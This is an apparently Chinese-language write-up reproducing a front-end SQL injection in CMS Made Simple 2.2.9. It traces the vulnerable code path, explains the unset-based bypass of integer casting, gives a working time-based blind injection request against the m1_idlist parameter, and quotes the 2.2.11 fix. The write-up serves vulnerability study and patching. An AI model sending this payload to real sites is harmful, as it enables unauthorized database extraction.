Cmsms_2.2.9前台sql注入(复现)

漏洞原理

  1. 没有对sql语句进行过滤
  2. unset操作绕过对字符串的强制类型操作

漏洞分析

class.CMS_Content_Block.php,第237行执行对传入的mact参数进行拆分

$modulename=”news”、$action=”default”

1568723417461

class.CMS_Content_Block.php第289行GetModuleParameters方法 ,解析传入的参数,注册变量,并未做任何过滤,$key值在不为’id’、’returnid’将直接以字符串的形式传递到$param数组中。$param[‘idlist’]=”0,1)) and sleep(9) –”

1568723447621

继续跟进代码,代码进入第295行DoAtionBase方法,第1481行执行模块中的方法.

将$name=’default’拼接至文件名中,第1405行include之.

$filename=’’/var/www/html/cms/cmsms-2.2.9-install/modules/News/action.default.php’

1568723276614

action.default.php第59行漏洞触发关键点,将$idlist拼接进字符串,explode函数拆分字符串,截取关键代码进行分析

for循环第一次count($tmp)=2,由于进入if条件语句删除了数组第一个字符。第二次判断count($tmp)=1,此时$i=1不满足跳出循环,第二个字符串'1)) and sleep(5) --'就不会被强制转换为数值

$idlist='0,1)) and sleep(5) --';
$tmp = explode(',',$idlist);
            for( $i = 0; $i < count($tmp); $i++ ) {
                $tmp[$i] = (int)$tmp[$i];
                if( $tmp[$i] < 1 ) unset($tmp[$i]);
            }

漏洞复现

逗号、单引号被实体编码需要绕过

mact=News,m1_,default,0&m1_idlist=0,1))and(case+when+ascii((select+substr(database()+from+1+for+1))%3d99)+then+sleep(1)+else+0+end)%23

1568723641057

漏洞修复

2.2.11版本对该处进行修复

in_array加强了对非法字符串的判断,去掉unset操作

if( isset($params['idlist']) ) {
    $idlist = $params['idlist'];
    if( is_string($idlist) ) {
        $tmp = explode(',',$idlist);
        $idlist = [];
        for( $i = 0; $i < count($tmp); $i++ ) {
            $val = (int)$tmp[$i];
            if( $val > 0 && !in_array($val,$idlist) ) $idlist[] = $val;
        }
    }
    if( !empty($idlist) ) $query1 .= ' (mn.news_id IN ('.implode(',',$idlist).')) AND ';
}

参考链接